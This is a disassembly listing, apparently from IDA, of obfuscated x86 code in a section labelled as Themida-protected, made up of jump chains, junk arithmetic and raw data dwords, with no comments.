

loc_5EEED4:				; CODE XREF: Themida_:005F6294j
		mov	eax, 156E6066h
		or	edx, eax
		jmp	loc_5EAC7B
; ---------------------------------------------------------------------------
		dd 474448BDh, 0FFE83130h, 2DE92434h, 28FFFFD5h,	0E274E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EEEF6:				; CODE XREF: Themida_:005F2BCFj
		sub	ecx, ebx
		sub	ecx, 7E6C36D1h
		mov	ebx, [esp]
		jmp	loc_5F4DCE
; ---------------------------------------------------------------------------
		dw 6853h
		dd 4A417BD6h, 0E261E95Bh, 0C143FFFFh, 0E3C105EBh, 3FF38108h
		dd 89281377h, 0DBE95BDEh, 0C3000065h, 2EC81h, 89660000h
		dd 0FF662404h, 66022474h, 8124048Bh, 2C4h, 48F6600h, 2EC8124h
		dd 66000000h, 66240489h, 662414F7h, 0E924048Bh,	0FFFFBA98h
		dd 0E9240487h, 766Ah
; ---------------------------------------------------------------------------


loc_5EEF64:				; CODE XREF: Themida_:005F013Cj
		mov	[esp], ecx
		jmp	loc_5F6527
; ---------------------------------------------------------------------------
		dd 70F9E956h, 0D8680000h, 89000041h, 0BC68242Ch, 0E9572A17h
		dd 59A6h, 4C381h, 0B8500000h, 9534517h,	310DD8F7h, 2D1B5714h
		dd 69C347Bh, 0D571DB05h, 1FE94071h, 0E9FFFFCFh,	0FFFFB30Ah
		dd 55DE801h, 21E65140h,	0FFCCEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EEFB9:				; CODE XREF: Themida_:005F4959j
		mov	ebp, [esp]
		add	esp, 4
		push	226Fh
		mov	[esp], ebp
		jmp	loc_5F1B09
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB2E2h, 17A8CB81h, 0E956355Fh, 0FFFFB324h, 2B850h
		dd 0C7010000h, 0E924048Bh, 0FFFFBB1Ah, 0C64CF505h, 0BC055F4Eh
		dd 166795Ah, 5ABC2DD8h,	352D6679h, 563E6B61h, 0FC52E950h
		dd 0F0BDFFFFh, 0BE3BE84Dh, 0E1951E8Fh, 2C8BEE01h, 4C48324h
		dd 5E89EE81h, 0EED17759h, 8EE9524Eh, 81FFFFBFh,	4ECh, 24248900h
		dd 4240483h, 0E9243C8Bh, 0FFFFFB0Ch
; ---------------------------------------------------------------------------


loc_5EF044:				; CODE XREF: Themida_:005EBA97j
		mov	ebx, 533C1C44h
		mov	ebp, 0A12F3863h
		sub	ebp, ebx
		jmp	loc_5F523A
; ---------------------------------------------------------------------------
		db 0Bh,	0C0h, 0Fh
		dd 10B284h, 34FF5300h, 0E2685824h, 8900005Ch, 96E92414h
		dd 2DFFFFEAh, 12000EECh, 550C5C2Dh, 0E9C721B9h,	6265h
; ---------------------------------------------------------------------------


loc_5EF080:				; CODE XREF: Themida_:005F12E7j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, ch
		mov	[edi+eax*4], dl
		pop	edx
		jmp	loc_5ED80B
; ---------------------------------------------------------------------------
		dw 3489h
		dd 4EB8BE24h, 66E93C16h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EF0AB:				; CODE XREF: Themida_:005F4E65j
		pop	edx
		push	edx
		mov	dh, al
		jmp	loc_5F3259
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 0E9243C87h, 40C9h, 5C24048Fh
		dd 0AC68C80Fh, 89000046h, 0DBE92404h, 5BFFFFB1h, 8304C483h
		dd 348904ECh, 815E5424h, 4C6h, 4C68100h, 33000000h, 34312434h
		dd 0D2C3E924h, 48FFFFFh, 24248B24h, 4561E9h, 5EF50100h
		dd 3AC0C581h, 0BE561A5Ch, 1243413Bh, 815EF509h,	0C1ACDC5h
		dd 8AC5817Bh, 29D8273Ah, 5BE5E9E9h, 0D5010000h,	242C875Ah
		dd 4EC835Ch, 0BF243C89h, 77F9566Eh, 5501C783h, 0EE3B73BDh
		dd 5DEF3120h, 6F02BE56h, 0E94E33D9h, 0FFFFB6BAh, 4C281h
		dd 0C2810000h, 4, 0E9241487h, 34Ah, 0B0240489h,	4B21E930h
		dd 0E9550000h, 72EFh
; ---------------------------------------------------------------------------


loc_5EF17C:				; CODE XREF: Themida_:005F3D73j
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5F0915
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2F275CDDh, 8103EBC1h, 996CA3E3h, 87F3817Ah, 100884Ch
		dd 0EC815BD9h, 4, 52241C89h, 140935BAh,	0FFC2812Ch, 81FFFFFFh
		dd 652C03F2h, 8BD38948h, 0C4832414h, 0DB8EE904h, 0BA52FFFFh
		dd 6C5E0B6Eh, 5E0B6ABBh, 5034E96Ch, 0C4830000h,	0BE565304h
		dd 39281694h, 0E990C681h, 0F389C6D7h, 2EFCE9h, 0B1F28100h
		dd 0E94B036Fh, 0FFFFC59Ch, 1B19BA52h, 0F2816B2Dh, 6B2D1B1Dh
		dd 515AD301h, 8904EC83h, 84B82404h, 0C17F216Ah,	0BE0508E8h
		dd 894E3009h, 0BD5558C1h, 5FFD7685h, 0B4A1C581h, 0C181EEB1h
		dd 76203ED9h, 0E981E929h, 76203ED9h, 23E6E9h, 4C48300h
		dd 4A27E9h, 4C48300h, 0FFEC28E9h, 53D231FFh, 207DE9h, 0EE815800h
		dd 4ADF5FFDh, 348BF201h, 4C48324h, 8904EC83h, 74FF2414h
		dd 8F5A0424h, 205C2404h, 0E99C2404h, 0FFFFB036h, 0EC81C328h
		dd 4, 0B4240489h, 2CEC8095h, 0F603ECC0h, 0C0C4FED4h, 0ECC006E4h
		dd 0C9C48004h, 33EE9h, 0D831AD00h, 40B368h, 0C7B1E900h
		dd 6855FFFFh, 33E535B8h, 2BED815Dh, 892091DFh, 0B8505DEAh
		dd 0C6807DCh, 0FFC786E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EF2CD:				; CODE XREF: Themida_:005F0F48j
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, 0ACB3D64h
		jmp	loc_5F02E5
; ---------------------------------------------------------------------------
		db 0F7h
		dd 81D1F7D9h, 4A0EF0C1h, 59CF8924h, 53F3E9h, 24348100h
		dd 619A0841h, 3347E95Eh, 34FF0000h, 8AE95824h, 0FF000062h
		dd 0BD551C77h, 657F436Fh, 4F54E9h, 0B4C68100h, 5758CA4Fh
		dd 737E79BFh, 4AB8E91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EF322:				; CODE XREF: Themida_:005ED7AFj
		pop	edi
		jmp	loc_5EFC34
; ---------------------------------------------------------------------------


loc_5EF328:				; CODE XREF: Themida_:005EF6EBj
		and	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2A4B6A95h
		sub	edx, 0ABCD19F1h
		sub	ebp, edx
		pop	edx
		jmp	loc_5ECFFA
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFE950E9h, 243433FFh, 33243431h, 895C2434h,	9C502414h
		dd 0FFAF55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EF361:				; CODE XREF: Themida_:005F1576j
		add	eax, 4
		jmp	loc_5EB3C5
; ---------------------------------------------------------------------------
		db 50h
		dd 0E4EE9h, 6D3F6800h, 14890000h, 2A806824h, 3C890000h
		dd 17B2BF24h, 0EF810FD7h, 5B0C537Fh, 0E6DDE955h, 0C481FFFFh
		dd 4, 8B242C87h, 0D3662424h, 0E99C2424h, 0FFFFAF0Eh, 5C24048Fh
		dd 0FFAF7CE9h, 241C33FFh, 33241C31h, 248B241Ch,	2424D224h
		dd 0AEF0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EF3C6:				; CODE XREF: Themida_:005EE504j
		push	edx
		mov	edx, 769F1BB9h
		sub	eax, edx
		pop	edx
		sub	eax, 5B0B4195h
		push	edx
		push	234129F6h
		pop	edx
		and	edx, 553375DDh
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_5EB7FD
; ---------------------------------------------------------------------------


loc_5EF3EB:				; CODE XREF: Themida_:005F5875j
		add	eax, 4
		jmp	loc_5F2988
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8704C483h, 0F65C2434h, 0B60F66E1h, 0B961E9CCh, 0C581FFFFh
		dd 2, 6107E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EF415:				; CODE XREF: Themida_:005F07C0j
		dec	ecx
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5EDA55
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3DA94F55h, 0FFFDB4E9h, 0E9028FFFh, 0FFFFAE72h, 1CF7555Ah
		dd 9EE95D24h, 8900003Dh, 74FF243Ch, 8F5F0424h, 248B2404h
		dd 242C8924h, 0C5815D54h, 4, 4FEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EF46D:				; CODE XREF: Themida_:005F3AB1j
		xchg	esi, [esp]
		jmp	loc_5F43BA
; ---------------------------------------------------------------------------


loc_5EF475:				; CODE XREF: Themida_:005EA970j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 60E35373h
		pop	eax
		jmp	loc_5ECB3B
; ---------------------------------------------------------------------------
		dd 68242C89h, 4004h, 83242489h,	8B042404h, 0B068242Ch
		dd 89000073h, 8B542434h, 0C2E92434h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EF4AB:				; CODE XREF: Themida_:005F1C73j
		add	esp, 4
		jmp	loc_5F0132
; ---------------------------------------------------------------------------
		dw 335Ch
		dd 14312414h, 24143324h, 6624248Bh, 0E9240489h,	0FFFFADEAh
		dd 5B2434FFh, 4C481h, 0A8680000h, 8900000Fh, 0E389241Ch
		dd 4C381h, 0BA520000h, 4, 0A7E9D301h, 55000065h, 0DD3F0BBDh
		dd 0AC016872h, 348BE98Ch, 4C48324h, 174E9h, 0B3BE5600h
		dd 81157355h, 0BB5220F6h, 5E6C17Fh, 28E9DEF7h, 0BFFFFFCFh
		dd 78FB69E1h, 0E781D7F7h, 3097473Fh, 507B850h, 0C7013BCDh
		dd 1370E958h, 81660000h, 6669D9EBh, 8124048Bh, 2C4h, 0C0B70F00h
		dd 479A6866h, 24048966h, 0FFAD5DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EF559:				; CODE XREF: Themida_:005F628Cj
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5F1CB0
; ---------------------------------------------------------------------------
aPsj		db 'P=',0
		dw 5000h
		dd 42474FFh, 24048F58h,	8904EC83h, 1DE92404h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EF583:				; CODE XREF: Themida_:005EF5AEj
		push	eax
		push	6D703757h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5F0472
; ---------------------------------------------------------------------------


loc_5EF5A3:				; CODE XREF: Themida_:005F276Ej
		xor	eax, esi
		pop	esi
		push	3580h
		mov	[esp], ebx
		jmp	loc_5EF583
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 1C895C24h,	400BB24h
		dd 5F090000h, 2434FF1Ch, 48D4E9h, 0FFD82900h, 0E9E92434h
		dd 28FFFFFEh, 0E958E3h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EF5EB:				; CODE XREF: Themida_:005F0EBAj
		mov	[esp], edi
		mov	edi, 1
		jmp	loc_5F2862
; ---------------------------------------------------------------------------
		dd 68240489h, 44Eh, 50242C89h, 71802B8h, 0D1E5E930h, 2489FFFFh
		dd 0E8E7E924h, 0C15FFFFFh, 0E94F04EFh, 0FFFFAEA5h, 0C581E589h
		dd 4, 9E2E9h, 370400h, 81372CD8h, 4ECh,	241C8900h, 0E952A6B3h
		dd 0FFFFC1F0h
; ---------------------------------------------------------------------------


loc_5EF644:				; CODE XREF: Themida_:005F4E98j
		xor	eax, ecx
		xchg	eax, edi
		jmp	loc_5F2D59
; ---------------------------------------------------------------------------


loc_5EF64C:				; CODE XREF: Themida_:005F584Dj
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		jmp	loc_5F284F
; ---------------------------------------------------------------------------
		dw 575Fh
		dd 0FFEEA8E9h, 4C783FFh, 383DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EF669:				; CODE XREF: Themida_:005EA2B7j
		push	edx
		mov	dh, 0D8h
		sub	al, dh
		pop	edx
		add	al, 0C3h
		add	al, bl
		sub	al, 0C3h
		push	ecx
		mov	cl, 6Dh
		jmp	loc_5F422F
; ---------------------------------------------------------------------------
		db 29h,	0EEh, 0E9h
		dd 0F65h, 92E9D321h, 8100005Bh,	0CE9D11C2h, 5AD70178h
		dd 0D0E9FE29h, 5A000020h, 4EC81h, 14890000h, 81E28924h
		dd 4C2h, 4F256800h, 2C890000h, 3956E924h, 0F3810000h, 844411Ch
		dd 89E9D901h, 0F700000Fh, 35D2E9DBh, 0F3810000h, 8FAAD9A2h
		dd 4E25E9h, 1C895C00h, 55E38924h, 54E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EF6E5:				; CODE XREF: Themida_:005EB70Cj
		sub	ecx, 0E8F9580Dh
		jmp	loc_5EF328
; ---------------------------------------------------------------------------
		dd 0CF87D1F7h, 1644C781h, 0F901102Dh, 5F2434FFh, 0E9E68956h
		dd 2C65h, 0C104EEC1h, 756808EEh, 89000051h, 1BD242Ch, 92CBB40h
		dd 2434FFEEh, 5E0AE95Dh, 0C1420000h, 0EA8107E2h, 735B5E84h
		dd 309E951h, 89660000h,	45E9240Ch, 0B900001Ah, 29B33EA8h
		dd 3D45E9h, 5DEA0100h, 8704EA83h, 895C2414h, 4812424h
		dd 424h, 0FCE95900h, 8900005Eh,	14872404h, 0F7DA8724h
		dd 5A5352D3h, 25FEE9h, 32FF6600h, 0FFAB39E9h, 5DE829FFh
		dd 1BD55h, 0E8290000h, 5E8C15Dh, 0B058E405h, 8BC6891Dh
		dd 0C4832404h, 5EF72904h
		db 0FDh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 53D97743h
		xor	ebx, 53D97747h
		sub	ebp, ebx
		jmp	loc_5F2689
; ---------------------------------------------------------------------------
		db 66h,	1, 0F0h
		dd 0A480566h, 66575E66h, 667A40BFh, 0DA73C781h,	46C92D66h
		dd 66F82966h, 5F46C905h, 38B70566h, 66D80166h, 0B7BA6652h
		dd 0D0296638h, 66565A66h, 6611B8BEh, 0F681664Eh, 0F76634E8h
		dd 0EE8166DEh, 816603D2h, 66821CEEh, 348BF001h,	4C48124h
		dd 66000000h, 68706D2Dh, 5C63h,	52240C89h, 13EABA66h, 0E9D18966h
		dd 2ABEh, 51102DBAh, 5AD62978h,	348BF021h, 0E2895224h
		dd 1D11BD55h, 9EE93CFFh, 8B000061h, 0C4812414h,	4, 2870BA52h
		dd 0D0013026h, 0E9D8015Ah, 163Ah, 4BFh,	0E9FB0100h, 0FFFFDFE7h
		dd 6715BE56h, 0B62D68DEh, 0E9396A03h, 317Eh, 89241489h
		dd 4C281E2h, 83000000h,	1CE904EAh, 3, 0F00059C8h, 505A932Ch
		dd 88A0B151h, 0E32859CCh, 0FFE314E9h, 0FFC501FFh, 52582434h
		dd 0C281E289h, 4, 4B951h, 0CA010000h, 24148759h, 3124248Bh
		dd 0DDE5E9E8h, 0EF81FFFFh, 55F759C2h, 7CE9FE01h, 81FFFFEEh
		dd 0D21DB6EFh, 8BFD01E8h, 0C483243Ch, 7EDC104h,	7A97BA52h
		dd 524A27D0h, 5A240CFFh, 0F281D2F7h, 7DC23C54h,	0FA65F281h
		dd 64E9DF97h, 80FFFFC7h, 0F380B5E3h, 9BCB802Dh,	64EFE9h
		dd 62E95C00h, 89FFFFC1h, 74FF242Ch, 8F5D0424h, 0F65C2404h
		dd 0B60F66F9h, 4EC81CCh, 89000000h, 8B54240Ch, 5DE9240Ch
		dd 3300001Eh, 14312414h, 24143324h, 5124248Bh, 3C0AE9h
		dd 58C28800h, 0E9240C8Bh, 0FFFFB47Bh, 8324348Bh, 0BEE904C4h
		dd 50000008h, 0F20448B0h, 0C300B904h, 5A6658h, 0EDEB80C3h
		dd 325E6866h, 24048966h, 0E300A0B4h, 0B60F5866h, 148B66C0h
		dd 8FFE924h, 85250000h,	2D7F226Bh, 271FFFFCh, 8758C601h
		dd 555C2434h, 0BD0B71BDh, 93C58166h, 0E99942F4h, 49D9h
		dd 0FFDF3158h, 815B2434h, 4C4h,	8BF80100h, 0C481243Ch
		dd 4, 4EC81h, 2C890000h, 0C6B85024h, 0E926156Fh, 0FFFFE1B1h
		dd 0EE81DEF7h, 480F8365h, 6678BB53h, 5C2909BAh,	0E95B0824h
		dd 14F4h, 8904EC83h, 27E9240Ch,	5C000068h, 24148B66h, 146B68h
		dd 24348900h, 1B8768h, 24248900h, 4240481h, 8B000000h
		dd 0C4832434h, 4EC8304h, 5D12E9h, 24048700h, 240C875Ch
		dd 489665Ch, 1CBDE924h,	77E90000h, 0B9FFFFA8h, 559D6598h
		dd 16C98149h, 813AEE68h, 1C1h, 0B191E900h, 5253FFFFh, 6767A968h
		dd 0DAF75A7Eh, 5F4EEA81h, 0EA8179CCh, 3B83325Eh, 5EFAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EFA71:				; CODE XREF: Themida_:005F5906j
		mov	[edi+20h], ebp
		jmp	loc_5F0AED
; ---------------------------------------------------------------------------


loc_5EFA79:				; CODE XREF: Themida_:005EBD1Ej
		push	ebx
		mov	ebx, 398150AEh
		add	[esp+8], ebx
		jmp	loc_5EFAC9
; ---------------------------------------------------------------------------
		dd 0DB568h, 24048900h, 42474FFh, 0B20E9h, 24248B00h, 24148B66h
		dd 62CE9h, 35F48000h, 29D9E9h, 66685200h, 0E900004Bh, 0FFFFFB56h
		dd 5EE95A66h, 1000023h,	5A042454h, 0FFA7EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EFAC9:				; CODE XREF: Themida_:005EFA83j
		pop	ebx
		add	[esp+4], edi
		sub	dword ptr [esp+4], 398150AEh
		pop	edi
		mov	ebp, [esp]
		jmp	loc_5EA960
; ---------------------------------------------------------------------------
		db 50h
dword_5EFAE0	dd 0B951E089h, 0C561560h, 7216F181h, 0D1F77C74h, 6BD3C181h
					; DATA XREF: Themida_:00607400o
		dd 0C18122D4h, 4D4DFBA8h, 0E959C801h, 501Fh
; ---------------------------------------------------------------------------


loc_5EFB04:				; CODE XREF: Themida_:005EC92Dj
		and	eax, ecx
		jmp	loc_5EBC1B
; ---------------------------------------------------------------------------


loc_5EFB0B:				; CODE XREF: Themida_:005F0F61j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	edi
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5F1414
; ---------------------------------------------------------------------------


loc_5EFB37:				; CODE XREF: Themida_:005F2F61j
		push	ecx
		jmp	loc_5EBBAB
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 59h
		dd 52727B02h, 0C281E289h, 4, 8704EA83h,	0E95C2414h, 114Dh
		dd 0E940478Fh, 0FFFFA756h, 2434FF5Bh, 4C4815Ah,	28000000h
		dd 2434FFE8h, 83240C8Bh, 0C48104C4h, 4,	8361B252h, 48904ECh
		dd 5217B024h, 5066E4B2h, 0C20079B0h, 0FFAF9DE9h, 55854FFh
		dd 4, 8704E883h, 80E92404h, 87000047h, 248B2414h, 241C8924h
		dd 2867E9h, 242C8B00h, 2104C483h, 0C00B5BD8h, 0ADB3840Fh
		dd 77FFFFFFh, 2434FF1Ch, 25DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EFBD1:				; CODE XREF: Themida_:005ED739j
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_5EB9FF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0B9DBE9D2h, 3604FFFFh, 48BC208h, 4C48324h, 2C82E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EFBF1:				; CODE XREF: Themida_:005F6505j
		mov	[esp], edx
		jmp	loc_5EB5CB
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 53241489h, 6838E9h, 48B6600h, 4AE96824h, 44E90000h
		dd 83FFFFD0h, 0FF5204C4h, 5A042474h, 5C24048Fh,	9C240429h
		dd 0FFA68DE9h, 89BF57FFh, 0E95D010Ch, 0FFFFBAC3h
; ---------------------------------------------------------------------------


loc_5EFC34:				; CODE XREF: Themida_:005EF323j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5EAE28
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 5DE90100h, 63C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EFC65:				; CODE XREF: Themida_:005EB3EFj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5F36C5
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C4E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EFC83:				; CODE XREF: Themida_:005F4BC4j
		mov	ebp, 40195E5Ch
		shl	ebp, 5
		push	ecx
		push	eax
		mov	eax, 7F136245h
		jmp	loc_5F20FD
; ---------------------------------------------------------------------------
		db 1
		dd 5A042454h, 86E9555Bh, 0B4FFFFB2h, 0BC5E9BEh,	34FF0000h
		dd 2434FF24h, 4C48158h,	68000000h, 6A64h, 89243489h, 4EC83E6h
		dd 0BD242C89h, 4, 515DEE01h, 0A255C1B9h, 57BFE923h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EFCDA:				; CODE XREF: Themida_:005F2C4Aj
		add	esp, 4
		jmp	loc_5EE447
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 4C481h, 89560000h,	4C681E6h, 81000000h, 4EEh
		dd 24348700h, 5C14E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EFD05:				; CODE XREF: Themida_:005EE6A0j
		add	esp, 4
		pop	ecx
		push	ecx
		xchg	ebx, [esp]
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5F4FF5
; ---------------------------------------------------------------------------


loc_5EFD29:				; CODE XREF: Themida_:005F54FDj
		add	ebp, 0B188DB92h
		mov	eax, ebp
		pop	ebp
		add	ebp, eax
		pop	eax
		jmp	loc_5F6103
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C827E924h, 0D3F7FFFFh, 5722E956h, 0EE810000h, 0F71C991Eh
		dd 4ABEE9h, 4BD5500h, 29000000h, 0F9E95DE8h, 53FFFFF1h
		dd 254724BBh, 8EBC114h,	4167BE56h, 814E15F8h, 1A6272EEh
		dd 0CCE9466Fh, 400002Dh, 4EC8181h, 89000000h, 43B5240Ch
		dd 0D5F6C5FEh, 8904EC83h, 0A5E9241Ch, 0AC000006h, 0E968D830h
		dd 89000075h, 0B652240Ch, 77B05026h, 472CF82Ch,	8058C608h
		dd 0CEFEE0CEh, 3519E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5EAD5D
; ---------------------------------------------------------------------------
		db 80h,	2 dup(0C5h)
		dd 0C0DCE580h, 0C58005EDh, 59E828A4h, 0B9E92F04h, 0FF000025h
		dd 0A5EDE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EFDE2:				; CODE XREF: Themida_:005F3489j
		add	ah, 0C7h
		add	dl, 1Ah
		add	dl, ah
		sub	dl, 1Ah
		pop	eax
		jmp	loc_5F53C3
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 24348B54h, 8104C483h, 4C6h,	4BF5700h
		dd 81000000h, 0D02AA7EEh, 56575307h, 1738ECBEh,	0E4C6815Ch
		dd 816CEE0Ah, 2D59DCF6h, 3932E93Ah, 34FF0000h, 3620E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EFE36:				; CODE XREF: Themida_:005EB5CCj
		mov	ch, 15h
		sub	ch, 42h
		jmp	loc_5F1B89
; ---------------------------------------------------------------------------
		dd 62A68h, 24348900h, 228AE954h, 0EFC10000h, 34C78107h
		dd 293BE269h, 0C2815FFAh, 7D9B442Fh, 0EA81C229h, 7D9B442Fh
		dd 81C281h, 43E93C81h, 51FFFFA4h, 4B9h,	0D9A8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EFE7E:				; CODE XREF: Themida_:005F5DFBj
		mov	[esp], edx
		jmp	loc_5EB6C2
; ---------------------------------------------------------------------------
		dw 76B8h
		dd 0F7354954h, 0AAF35D8h, 28E92C97h, 83000043h,	3C8704C7h
		dd 24248B24h, 4EC81h, 56E90000h, 6800000Ah, 53947h, 0FFC8C6E9h
		dd 0F65359FFh, 5B012454h, 0FFB6D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EFEC1:				; CODE XREF: Themida_:005F6605j
		pop	esi
		shr	ecx, 7
		jmp	loc_5F119E
; ---------------------------------------------------------------------------


loc_5EFECA:				; CODE XREF: Themida_:005EAE4Cj
		mov	edi, esi
		pop	esi
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	12B4h
		mov	[esp], edi
		mov	edi, esp
		push	7D3h
		jmp	loc_5EAD63
; ---------------------------------------------------------------------------


loc_5EFEF0:				; CODE XREF: Themida_:005F3391j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	78D9h
		mov	[esp], esi
		push	21C867A7h
		pop	esi
		neg	esi
		push	edi
		push	eax
		mov	eax, 328C2CBCh
		mov	edi, 487768E2h
		xor	edi, eax
		pop	eax
		add	esi, edi
		jmp	loc_5F656E
; ---------------------------------------------------------------------------
		db 83h
		dd 9F0501E8h, 2D5C8C67h, 0D48A8E87h, 8158C501h,	4ECh, 24148900h
		dd 2BAh, 8DED8100h, 81333736h, 85280FC5h, 41C58158h, 0E906FB71h
		dd 0FFFFCFA1h, 5C241C33h, 4EC81h, 0C7E90000h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EFF6B:				; CODE XREF: Themida_:005F2FA5j
		sub	esi, 3F3DEEB9h
		sub	edi, esi
		pop	esi
		shr	edi, 3
		jmp	loc_5F0C5F
; ---------------------------------------------------------------------------


loc_5EFF7C:				; CODE XREF: Themida_:005F0ED8j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5F04CD
; ---------------------------------------------------------------------------


loc_5EFF8D:				; CODE XREF: Themida_:005F3D33j
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	554h
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_5EB6B9
; ---------------------------------------------------------------------------


loc_5EFFB8:				; CODE XREF: Themida_:005ED310j
		sub	edx, 1B782750h
		jmp	loc_5EBAF6
; ---------------------------------------------------------------------------


loc_5EFFC3:				; CODE XREF: Themida_:005F172Cj
		mov	edx, 85CD852Ah
		sub	edx, eax
		pop	eax
		mov	ecx, 0CD51DD69h
		add	ecx, edx
		pop	edx
		sub	[edi+24h], ecx
		jmp	loc_5EC7CE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C15DEB89h, 0CB8104E3h, 4B5401F6h, 3DB4C381h, 0EE81BE34h
		dd 3983712Fh, 0C681DE01h, 3983712Fh, 4F90E9h, 0E9C50100h
		dd 1B6Dh, 0AFE9C2FEh, 5300001Ch, 10470BBh, 5FB9513Ch, 0E97C6D13h
		dd 0FFFFBAECh, 85E1EE81h, 0F521ECBBh, 0C981E95Eh, 34FFFFFFh
		dd 0E9555824h, 0FFFFBB7Eh, 83241C8Bh, 0BF5704C4h, 7B7D3886h
		dd 38CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F0049:				; CODE XREF: Themida_:005EBFD9j
		neg	ecx
		inc	ecx
		jmp	loc_5EE7E7
; ---------------------------------------------------------------------------
		db 5Ah,	0, 0E8h
		dd 51665D2Ch, 0AD2CE8B1h, 0AD04C828h, 296DE9h, 0F7E9D100h
		dd 0BD5549D9h, 2AFF3AE1h, 2DECD81h, 0C5816920h,	0BC7942FCh
		dd 515DE909h, 4BD4E9h, 0D4000h,	5115A20Ch, 35586EB9h, 59C8213Fh
		dd 5CD9E9h, 4C48300h, 0E3240481h, 291A116Eh, 55E92404h
		dd 5CFFFFD3h, 5C24048Fh, 9C2404D3h, 0FFAC99E9h,	4C481FFh
		dd 0E9000000h, 0FFFFA1F2h, 4E3968h, 24148900h, 0FFF1E1E9h
		dd 4EC83FFh, 68240C89h,	576Ah, 0E9242489h, 5A5h
; ---------------------------------------------------------------------------


loc_5F00E4:				; CODE XREF: Themida_:005EBB1Bj
		add	edx, 59282B5Bh
		add	edx, ecx
		jmp	loc_5EBE6A
